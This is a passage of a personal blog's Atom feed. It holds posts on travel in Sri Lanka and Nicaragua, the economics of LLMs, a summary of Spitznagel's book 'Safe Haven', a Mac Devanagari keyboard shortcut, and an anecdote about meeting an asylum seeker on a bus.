These are gorgeous and the nearby market is a great place to do snacking.
However, the police ensure that you are not swimming here.</p>
<figure>
    
    <a href="Ravana-waterfall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Ravana-waterfall-768x1024.jpg"
         alt="Ravana Waterfall cascades over a rocky cliff surrounded by lush greenery. It&#39;s located near a market, but swimming is not allowed, as indicated by nearby text." width="900"/> </a>
</figure>

<p>Our next stop was Pallewela waterfall where one can swim. It is really hard to get here though. The entrance fee close to the end is 100 LKR.</p>
<figure>
    
    <a href="Pallewela-waterfall-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pallewela-waterfall-1-1024x768.jpg"
         alt="Pallewela Waterfall" width="900"/> </a>
</figure>

<figure>
    
    <a href="Pallewela-waterfall-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pallewela-waterfall-2-768x1024.jpg"
         alt="Pallewela Waterfall" width="900"/> </a>
</figure>

<p>Our last stop was 10th-century Buddha carvings of &ldquo;Buduruwagala Raja Maha Viharaya&rdquo;.</p>
<figure>
    
    <a href="Buduruwagala-raja-maha-viharaya-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buduruwagala-raja-maha-viharaya-1024x768.jpg"
         alt="10th-century Buddha carvings at Buduruwagala Raja Maha Viharaya are featured" width="900"/> </a>
</figure>

<h2 id="day-5---mirissa-to-colombo">Day 5 - Mirissa to Colombo</h2>
<p>We started the day with snorkeling. Unlike 
<a href="/travel/french-polynesia-the-basics/">French Polynesia</a> or the 
<a href="/tag/caribbean/">Caribbean</a>,
the water of the Indian Ocean surrounding Sri Lanka has really strong waves.
So, the visibility is usually poor. However, our guide was pretty good, and we got a chance to swim with a Turtle.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/folPYx7Tz8E?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>There&rsquo;s a small rock called Parrot Rock for nice views but apart from that there isn&rsquo;t a lot to do in Mirissa.</p>
<figure>
    
    <a href="Mirissa-parrot-rock-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mirissa-parrot-rock-1024x768.jpg"
         alt="Parrot Rock, a rocky outcrop in Mirissa, offers scenic views. It&#39;s a popular but low-activity spot, with its main appeal being the picturesque surroundings." width="900"/> </a>
</figure>

<p>From here we drove to Colombo. It is best to keep Colombo for the last day. Our first stop was the iconic Lotus Tower.</p>
<figure>
    
    <a href="Colombo-lotus-tower-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Colombo-lotus-tower-768x1024.jpg"
         alt="A tall white tower with a blooming lotus design at the top under a blue sky, identified as the Lotus Tower in Colombo." width="900"/> </a>
</figure>

<p>Then we had some snacks at Pettah Floating Market. It seems to be in somewhat derelict shape.</p>
<figure>
    
    <a href="Colombo-pettah-market-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Colombo-pettah-market-1024x768.jpg"
         alt="A derelict Pettah Floating Market in Colombo, with rundown stalls visible across a boardwalk over water." width="900"/> </a>
</figure>

<h2 id="note">Note</h2>
<ol>
<li>Here&rsquo;s the list of   
    
    
<a href="https://guides.ashishb.net/country/sri-lanka?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">recommended guides</a></li>
<li>A detailed   
    
    
<a href="https://www.artofliving.org/in-en/culture/amazing-india/walking-in-the-footsteps-of-ramayana-in-sri-lanka?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">guide</a> on various temples</li>
<li>Contrary to rumors, 
<a href="/travel/traveling-on-indian-passport/">Indian Rupee</a> is not widely accepted in Sri Lanka. Even at the places, where it is accepted, the exchange rate makes it a mistake to use it over carrying Sri Lankan Rupee or US Dollar.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/sri-lanka" term="sri-lanka" label="sri-lanka"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">LLMs: great for business but bad business</title><link href="https://ashishb.net/tech/llms-great-for-business-but-bad-business/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/javascript/?utm_source=atom_feed" rel="related" type="text/html" title="Minimize Javascript in your codebase"/><link href="https://ashishb.net/tech/ads/?utm_source=atom_feed" rel="related" type="text/html" title="In defense of ad-supported products"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/wordpress-to-hugo/?utm_source=atom_feed" rel="related" type="text/html" title="Migrating from WordPress to Hugo"/><link href="https://ashishb.net/tech/when-to-commit-generated-code-to-version-control/?utm_source=atom_feed" rel="related" type="text/html" title="When to commit Generated code to version control"/><id>https://ashishb.net/tech/llms-great-for-business-but-bad-business/</id><author><name>Ashish Bhatia</name></author><published>2024-07-05T14:00:19+00:00</published><updated>2024-07-05T14:00:19+00:00</updated><content type="html"><![CDATA[<blockquote>Here&rsquo;s a simple analysis of why this ground-breaking technology might turn out to be the next undersea cable</blockquote><blockquote>
<p>The true value proposition of LLMs lies in their ability to convert unstructured data from sources like websites and documents into structured information with reasonably high accuracy. Yet, the real profit lies in the products built on top of LLM technology.</p></blockquote>
<p>Each year, approximately 4 million books are   
    
    
<a href="https://wordsrated.com/number-of-books-published-per-year-2021/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">published</a> worldwide. On average, a book contains fewer than 120,000 words, translating to less than 160,000   
    
    
<a href="https://help.openai.com/en/articles/4936856-what-are-tokens-and-how-to-count-them?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tokens</a> in LLM (Large Language Model) terms. Imagine if every single one of these books were generated by GPT-4—it would amount to an astounding 640 billion tokens. At   
    
    
<a href="https://openai.com/api/pricing/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$5 per million tokens</a>, generating all these books would tally up to about $3.2 million! Let&rsquo;s say the book market represents only about 1% of the total LLM text generation opportunity. Even then the total addressable market of LLM text generation is approximately $300 million annually—a modest figure when compared to AWS, which raked in   
    
    
<a href="https://www.statista.com/statistics/233725/development-of-amazon-web-services-revenue/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$90 billion</a> in 2023 as the cloud market leader.</p>
<p>While this scenario may seem hypothetical, I&rsquo;ve witnessed firsthand its implications in various startups. The true value proposition of LLMs lies in their ability to convert unstructured data from sources like websites and documents into structured information with reasonably high accuracy. Yet, the real 
<a href="/all/how-do-businesses-make-money/">profit</a> lies in the products built on top of LLM technology.</p>
<p>Consider a healthcare startup leveraging HIPAA-compliant LLMs to automate regulatory form-filling. They charge around $50 per form while paying just about $1 to the LLM provider. Interestingly, their cloud expenditures far exceed their LLM costs, a common trend among many startups. Adding to the challenge is the fact that most major LLM providers (except for   
    
    
<a href="https://github.com/missuo/claude2openai?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Claude</a>) adhere to   
    
    
<a href="https://docs.together.ai/docs/openai-api-compatibility?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">OpenAI-compatible API</a> standards for text generation. This interoperability allows businesses to switch providers easily by simply adjusting their API endpoints.</p>
<p>So, how can LLM providers monetize effectively? The answer might lie in multimedia applications.</p>
<p>For instance, generating a single 1024x1792 image on OpenAI costs merely   
    
    
<a href="https://openai.com/api/pricing/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$0.12</a>. Extrapolate this to a 1-minute movie at 60 frames per second—an unoptimized 36,000 frames or an optimized 1,000 frames—would cost around $120 to produce. A full-length feature film would bring in approximately $14,400 in revenue. This revenue potential far surpasses the minimal cost of generating a book. Even there, the value capture might end up in the hands of movie studios unless there is a profit-sharing partnership that happens between the LLM provider and the movie studio.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Book Summary: Safe Haven by Mark Spitznagel</title><link href="https://ashishb.net/book-summary/safe-haven/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/sick-societies/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Sick Societies by Robert B. Edgerton"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><id>https://ashishb.net/book-summary/safe-haven/</id><author><name>Ashish Bhatia</name></author><published>2024-06-29T16:00:17+00:00</published><updated>2024-06-29T16:00:17+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the power of geometric returns in investing. Learn why insurance isn&rsquo;t zero-sum and how to optimize your strategy with effective risk mitigation.</blockquote><h3 id="principles">Principles</h3>
<ul>
<li>Investing is a sequential process</li>
<li>The only goal is to maximize wealth over time. Do not &ldquo;narrow frame&rdquo; it to focus only on annual returns.</li>
<li>A risk mitigation strategy must lower risk and hence increase CAGR (Compounded Annual Growth Rate)</li>
</ul>
<p>Another example would be a merchant sending 10,000$ worth of goods with a 5% chance of pirates taking it over. Let&rsquo;s say the merchant has a net worth of 3,000$ and the rest is financed. The expected loss is ~5%. So, an insurance of 800$ might feel expensive.</p>
<p>The better way to look at it is the geometric outcome. Without insurance, the expected per-trip return from 100 trips is ((3000 + 10000)^95 * 3000^5)^1/100 = 12,081$</p>
<p>However, with insurance, the merchant always loses 800$ and gets 10,000$ (either from the sale or from the insurance), so, the returns are 3000 + 10000 - 800 = 12200$! On the other hand, the insurer makes 800 - 500 = 300$ as well!</p>
<p><strong>Insurance is not a zero-sum business. The insurance buyer is playing a game of geometric returns while the insurance provider is playing a game of arithmetic returns, so, both can be making money simultaneously.</strong></p>
<p>One of the book&rsquo;s core ideas is that investing is a game of sequential investments.</p>
<p>Consider, for example, a simple game where you throw a dice and the returns are</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Text
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>-50% on 1
</span></span><span style="display:flex;"><span>+ 5% on 2
</span></span><span style="display:flex;"><span>+ 5% on 3
</span></span><span style="display:flex;"><span>+ 5% on 4
</span></span><span style="display:flex;"><span>+ 5% on 5
</span></span><span style="display:flex;"><span>+50% on 6</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The expected outcome is average of all and that&rsquo;s <code>20%/6 ~ +3.3%</code>.
So, playing this game is a good idea, right? Imagine you play this game repeatedly.
Statistically, you will hit all the numbers <code>~1/6</code> times each, so, the final returns will be <code>0.5 * 1.05 * 1.05 * 1.05 * 1.05 * 1.50 ~ 0.91</code>!
So, <code>+3.3%</code> arithmetic returns lead to <code>-9%/6 ~ -1.5%</code> geometric returns.</p>
<p>In the game of investing, draw-downs matter a lot.</p>
<p><strong>The only return that matters is geometric and not arithmetic</strong>.</p>
<p>Leverage in most cases increases arithmetic returns at the expense of geometric returns and that&rsquo;s how Long Term Capital Management blew up.</p>
<p>The reverse happens when you keep cash on the side. For example, the previous game of dice can be played again. This time, however, you play each round with a fraction of the money you started with. For example, only bet 40% of your wealth in each round and you will end up with a +1.1% arithmetic return and +0.64% geometric return. The 60% cash on the side does not make money but does not lose in extreme scenarios either. This store of value saves you from a major drawdown.</p>
<p>Another even better approach is insurance. Consider this scheme - &ldquo;invest 91% in the dice game, 9% in an insurance that pays 5X if 1 comes&rdquo;. This scheme lowers arithmetic return to 3% but increases geometric returns to 2.1%.</p>
<p><strong>The arithmetic return can go down while geometric returns can go up as the variance in outcomes shrinks</strong>.</p>
<p>Finding safe havens that produce positive returns in the down market is not hard. Finding safe havens that are cost-effective is hard.</p>
<p>Using S&amp;P500 returns for the past 120 years as an example, the author demonstrates that a 99.5% S&amp;P500 with 0.5% allocated to insurance performs better than the S&amp;P500 itself. Gold, bonds, 3-month T-bills don&rsquo;t even come close! So, what&rsquo;s that &ldquo;secret&rdquo; insurance scheme, well the author does not reveal that. But there are multiple threads on the Internet about what it looks like. For example,   
    
    
<a href="https://raposa.trade/blog/how-to-find-your-own-safe-haven-investing-strategy/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this one</a> and   
    
    
<a href="https://thefelderreport.com/2016/08/15/worried-about-a-stock-market-crash-heres-how-you-can-tail-hedge-your-portfolio/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">another one</a> point out that Spitznagel is buying deep out-of-money PUT options that are cheap enough as insurance.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Mac shortcut for typing Avagraha symbol</title><link href="https://ashishb.net/linguistics/avagraha-symbol/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/written-script/?utm_source=atom_feed" rel="related" type="text/html" title="Writing Script matters as much as the spoken language"/><link href="https://ashishb.net/linguistics/sound-of-ch/?utm_source=atom_feed" rel="related" type="text/html" title='The sound of "ch"'/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/how-to-pronounce-tharman-shanmugaratnam/?utm_source=atom_feed" rel="related" type="text/html" title="Musings of transliteration: Tharman Shanmugaratnam's name"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><id>https://ashishb.net/linguistics/avagraha-symbol/</id><author><name>Ashish Bhatia</name></author><published>2024-06-22T16:00:28+00:00</published><updated>2024-06-22T16:00:28+00:00</updated><content type="html"><![CDATA[<blockquote>Quickly insert the Avagraha symbol (ऽ) using Shift + \ on Mac&rsquo;s Hindi QWERTY keyboard. Enable Caps Lock for swift language switching.</blockquote><p>While writing text in Hindi/Sanskrit (Devanagari script), I need a quick way to insert the Avagraha symbol(ऽ). It turns out there is an undocumented shortcut on the Mac Hindi QWERTY keyboard for that and that is <code>\</code> in Hindi Transliteration keyboard.</p>
<p>Oh, and don&rsquo;t forget to enable Caps Lock for quick switching between the English and a non-English (In my case, Devanagari) keyboard.</p>
<figure>
    
    <a href="Screen-Shot-2022-07-31-at-11.10.41-PM-1024x880.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Screen-Shot-2022-07-31-at-11.10.41-PM-1024x880.png"
         alt="Mac OS language settings" width="905"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">On a bus with an asylum seeker</title><link href="https://ashishb.net/short-stories/on-a-bus-with-an-asylee/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/real-vs-artificial-world/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs artificial world"/><link href="https://ashishb.net/short-stories/prague-airport/?utm_source=atom_feed" rel="related" type="text/html" title="At the Prague airport"/><link href="https://ashishb.net/short-stories/illegal-immigrants-in-cairo/?utm_source=atom_feed" rel="related" type="text/html" title="Illegal immigrants to Europe via Cairo"/><link href="https://ashishb.net/short-stories/currency-issues-in-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Currency issues in Argentina"/><id>https://ashishb.net/short-stories/on-a-bus-with-an-asylee/</id><author><name>Ashish Bhatia</name></author><published>2024-06-15T16:00:26+00:00</published><updated>2024-06-15T16:00:26+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the intriguing journey of a man from Pakistan exploring asylum routes through South America and the challenges faced at the US border. Adventure meets resilience!</blockquote><p>My flight from Los Angeles to San Francisco was overbooked. There was a generous voucher to take for a volunteer who was willing to take the next flight. The next flight was scheduled for the next day in the morning! I wondered why not take a bus through the California hinterlands instead. So, I volunteered.</p>
<p>At the bus station&rsquo;s waiting area, an Indian-looking man walked towards me. Before I could say something, he asked me in Hindi where I was from. “Haryana”, I replied, assuming he was an Indian. He didn&rsquo;t recognize it. “That&rsquo;s beyond west Punjab”, he asked further in Hindi. “Yes”, I replied.</p>
<p>“Where in Pakistan are you from?”, I asked, as only people from Pakistan use the phrase “west Punjab”. “Azad Kashmir”, he replied, with an emphasis on “Azad” (liberated). That&rsquo;s what Pakistan refers to as the PoK territory.</p>
<p>Coincidentally, he was taking the same route as me. He could neither speak nor read English. I helped him book the ticket. As we were going on the bus, he spoke fluent Spanish with the ticket checker. That confused me even more.</p>
<p>We sat next to each other. And that&rsquo;s when he started his life story, “So, after Bhutto&rsquo;s murder, the army came to my home. In my absence, they told my mother that they would make an example out of politicians like me. She begged, and they agreed that if your son leaves the country quietly, everything would be fine”. “Then?”, I asked. “So, I left for Venezuela to live with my brother&rsquo;s family and become a car mechanic there.”, he replied. Now, I understand the origin of his fluent Spanish. &ldquo;Aren&rsquo;t you from “Azad” Kashmir&rdquo;, I asked. This time, the emphasis was mine. He laughed and skittishly admitted, “Our [Pakistan&rsquo;s] leaders only know how to talk big”. [Note: This wasn&rsquo;t hyperbole, Pakistan has seen 4 military coups, and not a single Prime Minister has ever finished a full 5-year term!]</p>
<p>Less than a decade later, Venezuela was devastated by Chavez&rsquo;s socialist regime. This man&rsquo;s savings were destroyed. So, were his brothers&rsquo;. His brother, with a family and a house, was trapped in Venezuela. While he eventually left and made the journey northwards.</p>
<p>“I encountered many Indians on the journey”, he emphasized. I was reading news about Indians crossing the US&rsquo;s southern border all along, but this time, I met someone who saw that. “All heading for the US border? How?”, I wondered. “Yes. They used to come via Ecuador. The US government pressured to close that route.”</p>
<p>Ecuador used to be one of the few visa-free countries for Indian nationals. Infact, it was the first South American Spanish-speaking country that I visited. Under US pressure, Ecuador, now, requires a visa to visit Ecuador.</p>
<p>A(shish): &ldquo;So, what&rsquo;s the route now?&rdquo;</p>
<p>H(e): &ldquo;Brazil&rdquo;.</p>
<p>A: &ldquo;Why so?&rdquo;</p>
<p>H: &ldquo;They don&rsquo;t have good relations with America, so, they don&rsquo;t care.&rdquo;</p>
<p>A: &ldquo;And what&rsquo;s the journey?&rdquo;</p>
<p>H: &ldquo;Painful and dangerous. If you don&rsquo;t speak Spanish, it is even worse. You start from Brazil, walk upwards, going from one agent to another rill you reach the US border&rdquo;.</p>
<p>A: &ldquo;And what happens at the US border?&rdquo;</p>
<p>H: &ldquo;You apply for asylum and are sent to the detention facility&rdquo;</p>
<p>A: &ldquo;How&rsquo;s that like?&rdquo;</p>
<p>H: &ldquo;It is comfortable. They serve halal food, vegetarian food, everything. But it is a prison after all.&rdquo;</p>
<p>A: &ldquo;And how do you get out?&rdquo;</p>
<p>H: &ldquo;An immigration judge looks into your case. We help each other clear that.&rdquo;</p>
<p>A: &ldquo;How?&rdquo;</p>
<p>H: &ldquo;Language is the most important factor. For example, I gave my interview in Urdu. I passed but if I failed, I would have filed for re-appeal that I don&rsquo;t understand Urdu and they should interview me in Kashmiri.&rdquo;</p>
<p>A: &ldquo;Why?&rdquo;</p>
<p>H: &ldquo;They have a shortage of official translators for obscure languages, so, judges under pressure approve the case much more easily.&rdquo;</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">Nicaragua in 5 days</title><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/panama/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Panama"/><link href="https://ashishb.net/travel/guatemala/?utm_source=atom_feed" rel="related" type="text/html" title="Guatemala in 8 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><id>https://ashishb.net/travel/nicaragua/</id><author><name>Ashish Bhatia</name></author><published>2024-06-08T08:19:42+00:00</published><updated>2024-06-08T08:19:42+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to traveling in Nicaragua in 5 days. The best places to visit in Nicaragua, things to do, and travel tips.</blockquote><h3 id="granada">Granada</h3>
<p>Granada is one of the oldest European settlements in the Americas.
While it has nice Spanish-era architecture, there isn&rsquo;t a lot to do in Granada.
I would recommend starting your day with a walking tour.</p>
<figure>
    
    <a href="granada-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="granada-1-768x1024.jpg"
         alt="Granada, Nicaragua" width="900"/> </a>
</figure>

<p>Afterward, consider visiting the Chocolate Museum of Granada to learn about the chocolate history of the region.</p>
<p>In the evening, do the tour of an active volcano, Volcan Masaya for USD 22 per person.
The volcano is good and one can see a fair bit of magma.
If, however, you have seen active volcanoes 
<a href="/travel/guatemala/">before</a>, then it can be a bit boring.</p>
<figure>
    
    <a href="granada-matsaya-volcano-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="granada-matsaya-volcano-768x1024.jpg"
         alt="Matsaya Volcano is a solitary, symmetrical volcano rises dramatically from the landscape, emitting a plume of white smoke" width="900"/> </a>
</figure>

<h3 id="san-juan-del-sur">San Juan Del Sur</h3>
<p>San Juan Del Sur is a touristy expat beach town of Nicaragua.</p>
<p>I would recommend doing a banana ride (~150 NIO) here.
We further took a nice private boat/lancha tour of the bay.
It costs ~$40 for half an hour which is sufficient to see the bay.</p>
<figure>
    
    <a href="san-juan-del-sur-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-juan-del-sur-1-1024x768.jpg"
         alt="A colorful scene of a coastal landscape during a sunset with silhouetted mountains against a vivid orange and pink sky" width="900"/> </a>
</figure>

<p>In the evening, we hiked to the Christ statue for a nice view of the city.</p>
<figure>
    
    <a href="san-juan-del-sur-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-juan-del-sur-2-1024x768.jpg"
         alt="A digital artwork titled &#39;Ometepe islands - the twin Volcanic islands on Lake Nicaragua&#39; displays a panoramic evening cityscape viewed from the Christ statue hike." width="900"/> </a>
</figure>

<h3 id="ometepe-islands---the-twin-volcanic-islands-on-lake-nicaragua">Ometepe islands - the twin Volcanic islands on Lake Nicaragua</h3>
<p>From San Juan del Sur, getting to Ometepe is a bit of work.
Either you can take a bus to Rivas and from there to San Jorge or you can book a taxi/inDrive directly to San Jorge.
From San Jorge, you have to take the ferry.
The ferry only runs till about 5 PM.
There are two ferries, one that goes to San José Del Sur and another that goes to Moyogalpa.
Moyogalpa is a bigger city, I would recommend going and staying there.
The island is small enough that if you use a moped rental you can cover the full island in about 8-10 hours.</p>
<p>There is a 35 NIO lancha and 50 NIO boat to get to the Ometepe islands. Both take ~1 hour and 15 mins.
However, the boat is way more comfortable.</p>
<figure>
    
    <a href="Ometepe-Moyogalpa-main-street-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Ometepe-Moyogalpa-main-street-1024x768.jpg"
         alt="A street on Ometepe Island with several buildings, vehicles, and people, highlighting a relaxed atmosphere." width="900"/> </a>
</figure>

<p>Ometepe Island is by far the best place in the Americas for vegetarian food.
Every restaurant has a great list of vegetarian items. This is a vegetarian food paradise.
I would highly recommend renting a Moped to get around the island.</p>
<figure>
    
    <a href="Ometepe-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Ometepe-2-1024x768.jpg"
         alt="Driving Moped around the island" width="900"/> </a>
</figure>

<p>Playa Mango is pretty beautiful. Lake Nicaragua has sharks, so, it is not safe to swim in it.
There are few places like Playa Mango which are safe for swimming.</p>
<figure>
    
    <a href="Ometepe-playa-mango-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Ometepe-playa-mango-1024x768.jpg"
         alt="Playa Mango is a sandy beach with calm waters" width="900"/> </a>
</figure>

<p>Ojo de Agua felt like a tourist trap, I would recommend staying away.
San Ramón waterfall is a bit hard to access and closes at 2 PM, so, you need to aim to be here really early.</p>
<h3 id="note">Note</h3>
<ol>
<li>From the Managua Airport, one can take a 30-minute bus to Mercado Huembes (2.5 NIO) and then an hour-long bus ride to Granada (30 NIO).</li>
<li>Do not exchange money at the Nicaragua airport, the rate is terrible. Use ATM instead.</li>
<li>As of 2023, there is no Uber in Nicaragua. However, the inDrive app works for inter-city transport. Granada to San Juan Del Sur, for example, costed ~2000 NIO ($55)</li>
</ol>
